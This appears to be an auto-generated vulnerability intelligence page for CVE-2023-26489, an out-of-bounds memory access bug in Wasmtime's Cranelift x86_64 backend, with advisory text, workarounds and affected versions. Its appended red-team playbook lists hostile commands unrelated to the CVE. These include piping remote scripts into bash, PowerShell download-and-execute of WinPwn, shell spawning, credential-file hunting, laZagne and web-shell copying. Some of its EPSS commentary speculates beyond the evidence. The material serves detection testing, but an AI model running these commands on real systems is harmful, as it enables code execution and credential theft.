CVE-2023-26489
Overview
This vulnerability is a memory access violation caused by an incorrect address-mode computation in Wasmtime's Cranelift code generator on x86_64 architectures. Specifically, the code generator erroneously calculates a 35-bit effective address instead of the intended 33-bit address for WebAssembly load/store operations. The root cause lies in the backend lowering rules that fold left-shifted 32-bit WebAssembly addresses into 64-bit x86_64 addressing modes without proper truncation, affecting Wasmtime's linear memory addressing mechanism.
Vulnerability Description
wasmtime is a fast and secure runtime for WebAssembly. In affected versions wasmtime's code generator, Cranelift, has a bug on x86_64 targets where address-mode computation mistakenly would calculate a 35-bit effective address instead of WebAssembly's defined 33-bit effective address. This bug means that, with default codegen settings, a wasm-controlled load/store operation could read/write addresses up to 35 bits away from the base of linear memory. Due to this bug, however, addresses up to `0xffffffff * 8 + 0x7ffffffc = 36507222004 = ~34G` bytes away from the base of linear memory are possible from guest code. This means that the virtual memory 6G away from the base of linear memory up to ~34G away can be read/written by a malicious module. A guest module can, without the knowledge of the embedder, read/write memory in this region. The memory may belong to other WebAssembly instances when using the pooling allocator, for example. Affected embedders are recommended to analyze preexisting wasm modules to see if they're affected by the incorrect codegen rules and possibly correlate that with an anomalous number of traps during historical execution to locate possibly suspicious modules. The specific bug in Cranelift's x86_64 backend is that a WebAssembly address which is left-shifted by a constant amount from 1 to 3 will get folded into x86_64's addressing modes which perform shifts. For example `(i32.load (i32.shl (local.get 0) (i32.const 3)))` loads from the WebAssembly address `$local0 << 3`. When translated to Cranelift the `$local0 << 3` computation, a 32-bit value, is zero-extended to a 64-bit value and then added to the base address of linear memory. Cranelift would generate an instruction of the form `movl (%base, %local0, 8), %dst` which calculates `%base + %local0 << 3`. The bug here, however, is that the address computation happens with 64-bit values, where the `$local0 << 3` computation was supposed to be truncated to a a 32-bit value. This means that `%local0`, which can use up to 32-bits for an address, gets 3 extra bits of address space to be accessible via this `movl` instruction. The fix in Cranelift is to remove the erroneous lowering rules in the backend which handle these zero-extended expression. The above example is then translated to `movl %local0, %temp; shl $3, %temp; movl (%base, %temp), %dst` which correctly truncates the intermediate computation of `%local0 << 3` to 32-bits inside the `%temp` register which is then added to the `%base` value. Wasmtime version 4.0.1, 5.0.1, and 6.0.1 have been released and have all been patched to no longer contain the erroneous lowering rules. While updating Wasmtime is recommended, there are a number of possible workarounds that embedders can employ to mitigate this issue if updating is not possible. Note that none of these workarounds are on-by-default and require explicit configuration: 1. The `Config::static_memory_maximum_size(0)` option can be used to force all accesses to linear memory to be explicitly bounds-checked. This will perform a bounds check separately from the address-mode computation which correctly calculates the effective address of a load/store. Note that this can have a large impact on the execution performance of WebAssembly modules. 2. The `Config::static_memory_guard_size(1 << 36)` option can be used to greatly increase the guard pages placed after linear memory. This will guarantee that memory accesses up-to-34G away are guaranteed to be semantically correct by reserving unmapped memory for the instance. Note that this reserves a very large amount of virtual memory per-instances and can greatly reduce the maximum number of concurrent instances being run. 3. If using a non-x86_64 host is possible, then that will also work around this bug. This bug does not affect Wasmtime's or Cranelift's AArch64 backend, for example.
Impact
An attacker controlling a WebAssembly module can exploit this vulnerability to read from or write to memory regions up to ~34GB away from the base linear memory, including memory belonging to other WebAssembly instances when using pooling allocators. This unauthorized memory access requires only the ability to execute WebAssembly code on an affected Wasmtime runtime, with no user interaction or elevated privileges needed (CVSS vector: AV:N/AC:L/PR:L/UI:N). The consequence is potential data leakage, memory corruption, and cross-instance interference, undermining isolation guarantees in multi-tenant environments.
Solution
Wasmtime versions 4.0.1, 5.0.1, and 6.0.1 include patches that remove the erroneous lowering rules in Cranelift's x86_64 backend, correcting address computations. Embedders unable to upgrade immediately can apply mitigations such as enabling Config::static_memory_maximum_size(0) to enforce explicit bounds checks or Config::static_memory_guard_size(1 << 36) to reserve large guard pages, as documented in the Wasmtime Config API. Alternatively, running on non-x86_64 hosts avoids the issue. Detailed patch and configuration instructions are available in the Wasmtime security advisory at https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-ff4p-7xrq-q5r8.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Cranelift code generator, which affects the Wasmtime runtime for WebAssembly, stems from a critical flaw in address-mode computation on x86_64 targets. Specifically, the code generator erroneously computes a 35-bit effective address instead of adhering to the defined 33-bit effective address for WebAssembly. This miscalculation allows a malicious WebAssembly module to read from or write to memory locations that are significantly beyond the intended bounds of linear memory, specifically up to approximately 34 gigabytes away. The underlying issue arises from the handling of left-shifted values during address computation, where the extension to 64 bits inadvertently grants access to a larger address space than intended. This flaw not only compromises the integrity of the memory model but also exposes the system to potential data leakage and unauthorized memory manipulation.
Exploitation of this vulnerability can occur through various attack vectors. A malicious actor could craft a WebAssembly module designed to exploit the flawed address computation, enabling it to access memory regions that may contain sensitive data or control structures belonging to other instances. For instance, if an attacker can manipulate the memory of another WebAssembly instance, they could potentially alter execution flow, extract confidential information, or even execute arbitrary code. The ability to read and write to such a vast range of memory without the embedder's knowledge poses significant risks, particularly in environments where multiple WebAssembly instances are pooled together, as it increases the likelihood of cross-instance attacks.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on Wasmtime for executing untrusted WebAssembly code. The business risks associated with this flaw include data breaches, loss of customer trust, and potential regulatory repercussions stemming from compromised sensitive information. If exploited, the vulnerability could lead to significant operational disruptions, especially in multi-tenant environments where isolation between instances is critical. Organizations must recognize that the ramifications extend beyond immediate technical concerns; they also encompass reputational damage and financial liabilities that could arise from data loss or system compromise.
To address this vulnerability, organizations should prioritize detection and mitigation strategies. Immediate remediation involves updating to the patched versions of Wasmtime, specifically versions 4.0.1, 5.0.1, and 6.0.1, which rectify the erroneous address computation rules. In scenarios where immediate updates are not feasible, several workarounds can be employed. Configuring the runtime to enforce explicit bounds-checking on linear memory accesses can help mitigate risks, albeit at the cost of performance. Additionally, increasing the guard pages after linear memory can provide a buffer against unauthorized memory access, though this approach may limit the number of concurrent instances. Organizations should also consider migrating to non-x86_64 architectures, as the vulnerability is specific to the x86_64 backend, thus providing an alternative means of avoiding the issue.
In conclusion, the vulnerability in the Cranelift code generator presents a serious threat to the security of WebAssembly applications running on Wasmtime. The potential for unauthorized memory access and manipulation underscores the importance of rigorous security practices in the deployment of WebAssembly runtimes. Organizations must remain vigilant in monitoring for signs of exploitation, implementing robust detection mechanisms, and ensuring timely updates to safeguard their systems against this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a modest but consistent increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-26489, rising by approximately 11% to a current level near the 0.03 mark. This upward trend, coupled with a steady 7-day increase, signals growing confidence among threat actors in the feasibility of exploiting the Wasmtime Cranelift vulnerability, despite the absence of confirmed active exploits or proof-of-concept releases. The incremental rise in EPSS suggests that adversaries may be intensifying reconnaissance or development efforts to weaponize this flaw, potentially expanding the attack surface of WebAssembly runtimes on x86_64 platforms. For defenders, this evolving risk profile underscores the need for heightened vigilance and continuous monitoring, as the vulnerability’s critical severity and its capacity for unauthorized memory access remain unchanged. While no direct exploitation incidents have been detected by our sensors, the increasing EPSS score elevates the threat level from theoretical to emerging, warranting close attention to emerging intelligence and potential shifts in attacker behavior.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Bytecodealliance | Cranelift-Codegen | All |
cpe:2.3:a:bytecodealliance:cranelift-codegen:*:*:*:*:*:rust:*:*
|
|
|
Bytecodealliance | Cranelift-Codegen | 0.92.0 |
cpe:2.3:a:bytecodealliance:cranelift-codegen:0.92.0:*:*:*:*:rust:*:*
|
|
|
Bytecodealliance | Cranelift-Codegen | 0.93.0 |
cpe:2.3:a:bytecodealliance:cranelift-codegen:0.93.0:*:*:*:*:rust:*:*
|
|
|
Bytecodealliance | Wasmtime | All |
cpe:2.3:a:bytecodealliance:wasmtime:*:*:*:*:*:rust:*:*
|
|
|
Bytecodealliance | Wasmtime | 5.0.0 |
cpe:2.3:a:bytecodealliance:wasmtime:5.0.0:*:*:*:*:rust:*:*
|
|
|
Bytecodealliance | Wasmtime | 6.0.0 |
cpe:2.3:a:bytecodealliance:wasmtime:6.0.0:*:*:*:*:rust:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-26489 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-ff4p-7xrq-q5r8 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/bytecodealliance/wasmtime/commit/63fb30e4b4415455d47b3da5a19d79c12f4f2d1f |
| docs.rs |
GitHub CVE
x_refsource_MISC
|
https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.static_memory_guard_size |
| docs.rs |
GitHub CVE
x_refsource_MISC
|
https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.static_memory_maximum_size |
| groups.google.com |
GitHub CVE
x_refsource_MISC
|
https://groups.google.com/a/bytecodealliance.org/g/sec-announce/c/Mov-ItrNJsQ |